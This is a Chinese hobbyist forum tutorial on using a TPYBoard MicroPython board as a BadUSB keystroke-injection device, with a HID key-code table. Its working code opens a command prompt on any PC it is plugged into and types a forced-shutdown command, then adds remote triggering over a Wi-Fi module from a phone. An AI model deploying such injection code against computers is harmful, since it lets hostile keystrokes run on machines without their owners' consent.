單片機(jī)開發(fā)板TPYBoard【micropython】用python來進(jìn)行BadUSB的USB－HID測試（含無線...

ID:130183 · 發(fā)表于 2016-7-19 16:10

本帖最后由 bodasister 于 2016-7-21 09:57 編輯

原創(chuàng)版權(quán)歸所有,轉(zhuǎn)載必須以鏈接形式注明作者和原始出處。 本文以TPYBoardv101開發(fā)板為例講解了利用micropython進(jìn)行BadUSB的usb-HID設(shè)備測試的主要方法，使用mt7681模塊進(jìn)行了一個簡單的實驗，實現(xiàn)了手機(jī)搖控鍵盤輸入的測試。
0x01引言
Micropython即運行在微控制器上的Python，只要你懂python3.x,就可以讓你像使用arduino那樣進(jìn)行硬件開發(fā)。隨著micropython的發(fā)布，已經(jīng)有越來越多的人研究和利用其進(jìn)行項目開發(fā)。本人也進(jìn)行了一些研究，發(fā)現(xiàn)利用python進(jìn)行操作確實很方便，很簡單。目前支持micropython的開發(fā)板有很多，如pyboard、pyMagic、TPYBoard等。

pyboard

pyMagic

TPYBoard

最近從網(wǎng)上搞了一塊tpyboard V10進(jìn)行了一下研究，特別是對其自身的USB-HID功能進(jìn)行了測試，令人驚喜的是，你可以在僅懂python的情況下，進(jìn)行HID攻擊的姿態(tài)測試。具體TPYBoardv101的使用方法，請參micropytho網(wǎng)站

0x02 TPYBoardV101模擬鍵盤
該板子的使用方法入門，本文中略過，有興趣的可以查看其網(wǎng)micropytho。TPYBoardv101中，在進(jìn)行鍵盤模擬時，每次發(fā)送了8個字符，只要搞清楚了這8個字符的含義，就能夠進(jìn)行HID模擬了。
鍵盤發(fā)送的8個字符：BYTE1 BYTE2 BYTE3 BYTE4 BYTE5 BYTE6 BYTE7 BYTE8。其中BYTE1用來實現(xiàn)功能鍵：
BYTE1 --
|--bit0: Left Control 按下時為1
|--bit1: Left Shift按下時為1
|--bit2: Left Alt按下時為1
|--bit3: Left GUI按下時為1
|--bit4: Right Control按下時為1
|--bit5: Right Shift按下時為1
|--bit6: Right Alt按下時為1
|--bit7: Right GUI按下時為1
BYTE3到BYTE8是具體按鍵（見0x06附件），如：
按下left shift + a ，則發(fā)送 0x02,0x00,0x04,0x00,0x00,0x00,0x00,0x00。
這里以按下left GUI+R來具體講解實現(xiàn)過程。
第一步：修改boot.py文件，代碼如下：

import machine
import pyb
#pyb.main('main.py') # main script to run after this one
#pyb.usb_mode('CDC+MSC') # act as a serial and a storage device
pyb.usb_mode('CDC+HID',hid=pyb.hid_keyboard)

復(fù)制代碼

第二步，修改main.py文件，代碼如下：

# main.py -- put your code here!
hid=pyb.USB_HID()
def release_key_once():
buf = bytearray(8) # report is 8 bytes long
buf[2] = 0
hid.send(buf) # key released
pyb.delay(10)
def press_key_once(key):
buf = bytearray(8) # report is 8 bytes long
buf[2] = key
hid.send(buf) # key released
pyb.delay(10)
def press_2key(key1,key2):
buf = bytearray(8) # report is 8 bytes long
buf[0] = key1
buf[2] = key2
hid.send(buf) # key released
pyb.delay(10)
def release_2key():
buf = bytearray(8) # report is 8 bytes long
buf[0] = 0
buf[2] = 0
hid.send(buf) # key released
pyb.delay(10)
pyb.delay(1000) #開始加入1秒延時
press_2key(0x08,0x15)#具體鍵值見附錄部分
release_2key()

復(fù)制代碼

第三步，安全退出TPYBoardv101，然后按一下RST鍵，可以看到一秒后“運行”窗口彈出。
0x03 簡單的HID測試
測試打開“運行”窗口，輸入cmd，然后彈出cmd后，輸入shutdown -s -t 60 ,即60秒后自動關(guān)機(jī)。
Main.py的代碼如下：

# main.py -- put your code here!
hid=pyb.USB_HID()
def release_key_once():
buf = bytearray(8) # report is 8 bytes long
buf[2] = 0
hid.send(buf) # key released
pyb.delay(10)
def press_key_once(key):
buf = bytearray(8) # report is 8 bytes long
buf[2] = key
hid.send(buf) # key released
pyb.delay(10)
def press_2key(key1,key2):
buf = bytearray(8) # report is 8 bytes long
buf[0] = key1
buf[2] = key2
hid.send(buf) # key released
pyb.delay(10)
def release_2key():
buf = bytearray(8) # report is 8 bytes long
buf[0] = 0
buf[2] = 0
hid.send(buf) # key released
pyb.delay(10)
pyb.delay(1000) #開始加入1秒延時
press_2key(0x08,0x15)#具體鍵值見附錄部分
release_2key()
pyb.delay(100)
a=[0x06,0x10,0x07,0x28] #cmd+enter
for i in a:
press_key_once(i)
release_key_once()
pyb.delay(1000)
#shutdown -s -t 60 + enter
a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
for i in a:
press_key_once(i)
release_key_once()
pyb.delay(1000)

復(fù)制代碼

程序運行的效果是：當(dāng)開發(fā)板插入電腦后，會首先彈出“運行”窗口，然后在該窗口里輸入cmd，此時彈出cmd，并在其中輸入shutdown -s -t 60和回車，然后電腦在1分鐘后關(guān)機(jī)。
0x04 DIY一鍵關(guān)機(jī)
TPYBoardv101帶著一個usr按鍵，可以利用這個按鍵來制作一鍵關(guān)機(jī)功能。當(dāng)板子程序運行后，按下usr按鍵，產(chǎn)生中斷，led3閃一下，進(jìn)行關(guān)機(jī)操作。具體代碼如下：

# main.py -- put your code here!
import pyb
FLAG=0 #flag標(biāo)記，當(dāng)為1時，關(guān)機(jī)
def release_key_once():
buf = bytearray(8) # report is 8 bytes long
buf[2] = 0
hid.send(buf) # key released
pyb.delay(10)
def press_key_once(key):
buf = bytearray(8) # report is 8 bytes long
buf[2] = key
hid.send(buf) # key released
pyb.delay(10)
def press_2key(key1,key2):
buf = bytearray(8) # report is 8 bytes long
buf[0] = key1
buf[2] = key2
hid.send(buf) # key released
pyb.delay(10)
def release_2key():
buf = bytearray(8) # report is 8 bytes long
buf[0] = 0
buf[2] = 0
hid.send(buf) # key released
pyb.delay(10)
def shutdownpc():
global FLAG
pyb.LED(3).on()
FLAG=1
pyb.delay(300)
pyb.LED(3).off()
hid=pyb.USB_HID()
sw=pyb.Switch()
sw.callback(shutdownpc)
while(1): #led2閃爍表示板子已經(jīng)正常工作
pyb.LED(2).toggle()
pyb.delay(300)
print(FLAG)
if FLAG==1:
pyb.delay(1000) #開始加入1秒延時
press_2key(0x08,0x15)#具體鍵值見附錄部分
release_2key()
pyb.delay(100)
a=[0x06,0x10,0x07,0x28] #cmd+enter
for i in a:
press_key_once(i)
release_key_once()
pyb.delay(1000)
#shutdown -s -t 60 + enter
a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
for i in a:
press_key_once(i)
release_key_once()
pyb.delay(1000)
FLAG=0

復(fù)制代碼

0x05 用手機(jī)搖控鍵盤輸入
這個實驗中，我使用了MT7681wifi模塊，該模塊可以直接進(jìn)行串口透傳。將MT7681與TPYBoardv101進(jìn)行連接，接線示意圖，見下圖。這里用的是TPYBoardv101的UART3，串口波特率115200。具體代碼如下：

# main.py -- put your code here!
import pyb
FLAG=0
def release_key_once():
buf = bytearray(8) # report is 8 bytes long
buf[2] = 0
hid.send(buf) # key released
pyb.delay(10)
def press_key_once(key):
buf = bytearray(8) # report is 8 bytes long
buf[2] = key
hid.send(buf) # key released
pyb.delay(10)
def press_2key(key1,key2):
buf = bytearray(8) # report is 8 bytes long
buf[0] = key1
buf[2] = key2
hid.send(buf) # key released
pyb.delay(10)
def release_2key():
buf = bytearray(8) # report is 8 bytes long
buf[0] = 0
buf[2] = 0
hid.send(buf) # key released
pyb.delay(10)
def shutdownpc():
global FLAG
pyb.LED(3).on()
FLAG=1
pyb.delay(1000)
pyb.LED(3).off()
def getchars():
global FLAG
pyb.LED(3).on()
FLAG=2
pyb.delay(1000)
pyb.LED(3).off()
hid=pyb.USB_HID()
sw=pyb.Switch()
sw.callback(shutdownpc)
u1=pyb.UART(3,115200)
u1.init(115200, bits=8, parity=None, stop=1)
u1.write('Hello world!')
buf=''
#print(buf)
while(1): #led2閃爍表示板子已經(jīng)正常工作
buf=u1.readline()
print(buf)
if buf==b's':
getchars()
pyb.LED(2).toggle()
pyb.delay(1300)
print(FLAG)
if FLAG==1:
pyb.delay(1000) #開始加入1秒延時
press_2key(0x08,0x15)#具體鍵值見附錄部分
release_2key()
pyb.delay(100)
a=[0x06,0x10,0x07,0x28] #cmd+enter
for i in a:
press_key_once(i)
release_key_once()
pyb.delay(1000)
#shutdown -s -t 60 + enter
a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
for i in a:
press_key_once(i)
release_key_once()
pyb.delay(1000)
FLAG=0
if FLAG==2:
pyb.delay(1000) #開始加入1秒延時
press_2key(0x08,0x15)#具體鍵值見附錄部分
release_2key()
pyb.delay(100)
a=[0x11,0x12,0x17,0x08,0x13,0x04,0x07,0x28] #notepad+enter
for i in a:
press_key_once(i)
release_key_once()
pyb.delay(1000)
FLAG=0

復(fù)制代碼

到這一步，可以看到，手機(jī)就像一個搖控鍵盤一樣，可以直接來控制鍵盤了。只需要在程序中再豐富一下，就可以做個很不錯的手機(jī)鍵盤出來。同時，因為可以通過串口返回數(shù)據(jù)，所以可以在電腦端寫個上位機(jī)，這樣就可以把電腦操作的返回值返回回來。具體的擴(kuò)展功能大家自己想吧，就只說到這里了。

0x06附件
micropython的主要鍵值如下：

#define KEY_NONE 0x00
#define KEY_ERRORROLLOVER 0x01
#define KEY_POSTFAIL 0x02
#define KEY_ERRORUNDEFINED 0x03
#define KEY_A 0x04
#define KEY_B 0x05
#define KEY_C 0x06
#define KEY_D 0x07
#define KEY_E 0x08
#define KEY_F 0x09
#define KEY_G 0x0A
#define KEY_H 0x0B
#define KEY_I 0x0C
#define KEY_J 0x0D
#define KEY_K 0x0E
#define KEY_L 0x0F
#define KEY_M 0x10
#define KEY_N 0x11
#define KEY_O 0x12
#define KEY_P 0x13
#define KEY_Q 0x14
#define KEY_R 0x15
#define KEY_S 0x16
#define KEY_T 0x17
#define KEY_U 0x18
#define KEY_V 0x19
#define KEY_W 0x1A
#define KEY_X 0x1B
#define KEY_Y 0x1C
#define KEY_Z 0x1D
#define KEY_1_EXCLAMATION_MARK 0x1E
#define KEY_2_AT 0x1F
#define KEY_3_NUMBER_SIGN 0x20
#define KEY_4_DOLLAR 0x21
#define KEY_5_PERCENT 0x22
#define KEY_6_CARET 0x23
#define KEY_7_AMPERSAND 0x24
#define KEY_8_ASTERISK 0x25
#define KEY_9_OPARENTHESIS 0x26
#define KEY_0_CPARENTHESIS 0x27
#define KEY_ENTER 0x28
#define KEY_ESCAPE 0x29
#define KEY_BACKSPACE 0x2A
#define KEY_TAB 0x2B
#define KEY_SPACEBAR 0x2C
#define KEY_MINUS_UNDERSCORE 0x2D
#define KEY_EQUAL_PLUS 0x2E
#define KEY_OBRACKET_AND_OBRACE 0x2F
#define KEY_CBRACKET_AND_CBRACE 0x30
#define KEY_BACKSLASH_VERTICAL_BAR 0x31
#define KEY_NONUS_NUMBER_SIGN_TILDE 0x32
#define KEY_SEMICOLON_COLON 0x33
#define KEY_SINGLE_AND_DOUBLE_QUOTE 0x34
#define KEY_GRAVE ACCENT AND TILDE 0x35
#define KEY_COMMA_AND_LESS 0x36
#define KEY_DOT_GREATER 0x37
#define KEY_SLASH_QUESTION 0x38
#define KEY_CAPS LOCK 0x39
#define KEY_F1 0x3A
#define KEY_F2 0x3B
#define KEY_F3 0x3C
#define KEY_F4 0x3D
#define KEY_F5 0x3E
#define KEY_F6 0x3F
#define KEY_F7 0x40
#define KEY_F8 0x41
#define KEY_F9 0x42
#define KEY_F10 0x43
#define KEY_F11 0x44
#define KEY_F12 0x45
#define KEY_PRINTSCREEN 0x46
#define KEY_SCROLL LOCK 0x47
#define KEY_PAUSE 0x48
#define KEY_INSERT 0x49
#define KEY_HOME 0x4A
#define KEY_PAGEUP 0x4B
#define KEY_DELETE 0x4C
#define KEY_END1 0x4D
#define KEY_PAGEDOWN 0x4E
#define KEY_RIGHTARROW 0x4F
#define KEY_LEFTARROW 0x50
#define KEY_DOWNARROW 0x51
#define KEY_UPARROW 0x52
#define KEY_KEYPAD_NUM_LOCK_AND_CLEAR 0x53
#define KEY_KEYPAD_SLASH 0x54
#define KEY_KEYPAD_ASTERIKS 0x55
#define KEY_KEYPAD_MINUS 0x56
#define KEY_KEYPAD_PLUS 0x57
#define KEY_KEYPAD_ENTER 0x58
#define KEY_KEYPAD_1_END 0x59
#define KEY_KEYPAD_2_DOWN_ARROW 0x5A
#define KEY_KEYPAD_3_PAGEDN 0x5B
#define KEY_KEYPAD_4_LEFT_ARROW 0x5C
#define KEY_KEYPAD_5 0x5D
#define KEY_KEYPAD_6_RIGHT_ARROW 0x5E
#define KEY_KEYPAD_7_HOME 0x5F
#define KEY_KEYPAD_8_UP_ARROW 0x60
#define KEY_KEYPAD_9_PAGEUP 0x61
#define KEY_KEYPAD_0_INSERT 0x62
#define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE 0x63
#define KEY_NONUS_BACK_SLASH_VERTICAL_BAR 0x64
#define KEY_APPLICATION 0x65
#define KEY_POWER 0x66
#define KEY_KEYPAD_EQUAL 0x67
#define KEY_F13 0x68
#define KEY_F14 0x69
#define KEY_F15 0x6A
#define KEY_F16 0x6B
#define KEY_F17 0x6C
#define KEY_F18 0x6D
#define KEY_F19 0x6E
#define KEY_F20 0x6F
#define KEY_F21 0x70
#define KEY_F22 0x71
#define KEY_F23 0x72
#define KEY_F24 0x73
#define KEY_EXECUTE 0x74
#define KEY_HELP 0x75
#define KEY_MENU 0x76
#define KEY_SELECT 0x77
#define KEY_STOP 0x78
#define KEY_AGAIN 0x79
#define KEY_UNDO 0x7A
#define KEY_CUT 0x7B
#define KEY_COPY 0x7C
#define KEY_PASTE 0x7D
#define KEY_FIND 0x7E
#define KEY_MUTE 0x7F
#define KEY_VOLUME_UP 0x80
#define KEY_VOLUME_DOWN 0x81
#define KEY_LOCKING_CAPS_LOCK 0x82
#define KEY_LOCKING_NUM_LOCK 0x83
#define KEY_LOCKING_SCROLL_LOCK 0x84
#define KEY_KEYPAD_COMMA 0x85
#define KEY_KEYPAD_EQUAL_SIGN 0x86
#define KEY_INTERNATIONAL1 0x87
#define KEY_INTERNATIONAL2 0x88
#define KEY_INTERNATIONAL3 0x89
#define KEY_INTERNATIONAL4 0x8A
#define KEY_INTERNATIONAL5 0x8B
#define KEY_INTERNATIONAL6 0x8C
#define KEY_INTERNATIONAL7 0x8D
#define KEY_INTERNATIONAL8 0x8E
#define KEY_INTERNATIONAL9 0x8F
#define KEY_LANG1 0x90
#define KEY_LANG2 0x91
#define KEY_LANG3 0x92
#define KEY_LANG4 0x93
#define KEY_LANG5 0x94
#define KEY_LANG6 0x95
#define KEY_LANG7 0x96
#define KEY_LANG8 0x97
#define KEY_LANG9 0x98
#define KEY_ALTERNATE_ERASE 0x99
#define KEY_SYSREQ 0x9A
#define KEY_CANCEL 0x9B
#define KEY_CLEAR 0x9C
#define KEY_PRIOR 0x9D
#define KEY_RETURN 0x9E
#define KEY_SEPARATOR 0x9F
#define KEY_OUT 0xA0
#define KEY_OPER 0xA1
#define KEY_CLEAR_AGAIN 0xA2
#define KEY_CRSEL 0xA3
#define KEY_EXSEL 0xA4
#define KEY_KEYPAD_00 0xB0
#define KEY_KEYPAD_000 0xB1
#define KEY_THOUSANDS_SEPARATOR 0xB2
#define KEY_DECIMAL_SEPARATOR 0xB3
#define KEY_CURRENCY_UNIT 0xB4
#define KEY_CURRENCY_SUB_UNIT 0xB5
#define KEY_KEYPAD_OPARENTHESIS 0xB6
#define KEY_KEYPAD_CPARENTHESIS 0xB7
#define KEY_KEYPAD_OBRACE 0xB8
#define KEY_KEYPAD_CBRACE 0xB9
#define KEY_KEYPAD_TAB 0xBA
#define KEY_KEYPAD_BACKSPACE 0xBB
#define KEY_KEYPAD_A 0xBC
#define KEY_KEYPAD_B 0xBD
#define KEY_KEYPAD_C 0xBE
#define KEY_KEYPAD_D 0xBF
#define KEY_KEYPAD_E 0xC0
#define KEY_KEYPAD_F 0xC1
#define KEY_KEYPAD_XOR 0xC2
#define KEY_KEYPAD_CARET 0xC3
#define KEY_KEYPAD_PERCENT 0xC4
#define KEY_KEYPAD_LESS 0xC5
#define KEY_KEYPAD_GREATER 0xC6
#define KEY_KEYPAD_AMPERSAND 0xC7
#define KEY_KEYPAD_LOGICAL_AND 0xC8
#define KEY_KEYPAD_VERTICAL_BAR 0xC9
#define KEY_KEYPAD_LOGIACL_OR 0xCA
#define KEY_KEYPAD_COLON 0xCB
#define KEY_KEYPAD_NUMBER_SIGN 0xCC
#define KEY_KEYPAD_SPACE 0xCD
#define KEY_KEYPAD_AT 0xCE
#define KEY_KEYPAD_EXCLAMATION_MARK 0xCF
#define KEY_KEYPAD_MEMORY_STORE 0xD0
#define KEY_KEYPAD_MEMORY_RECALL 0xD1
#define KEY_KEYPAD_MEMORY_CLEAR 0xD2
#define KEY_KEYPAD_MEMORY_ADD 0xD3
#define KEY_KEYPAD_MEMORY_SUBTRACT 0xD4
#define KEY_KEYPAD_MEMORY_MULTIPLY 0xD5
#define KEY_KEYPAD_MEMORY_DIVIDE 0xD6
#define KEY_KEYPAD_PLUSMINUS 0xD7
#define KEY_KEYPAD_CLEAR 0xD8
#define KEY_KEYPAD_CLEAR_ENTRY 0xD9
#define KEY_KEYPAD_BINARY 0xDA
#define KEY_KEYPAD_OCTAL 0xDB
#define KEY_KEYPAD_DECIMAL 0xDC
#define KEY_KEYPAD_HEXADECIMAL 0xDD
#define KEY_LEFTCONTROL 0xE0
#define KEY_LEFTSHIFT 0xE1
#define KEY_LEFTALT 0xE2
#define KEY_LEFT_GUI 0xE3
#define KEY_RIGHTCONTROL 0xE4
#define KEY_RIGHTSHIFT 0xE5
#define KEY_RIGHTALT 0xE6
#define KEY_RIGHT_GUI 0xE7

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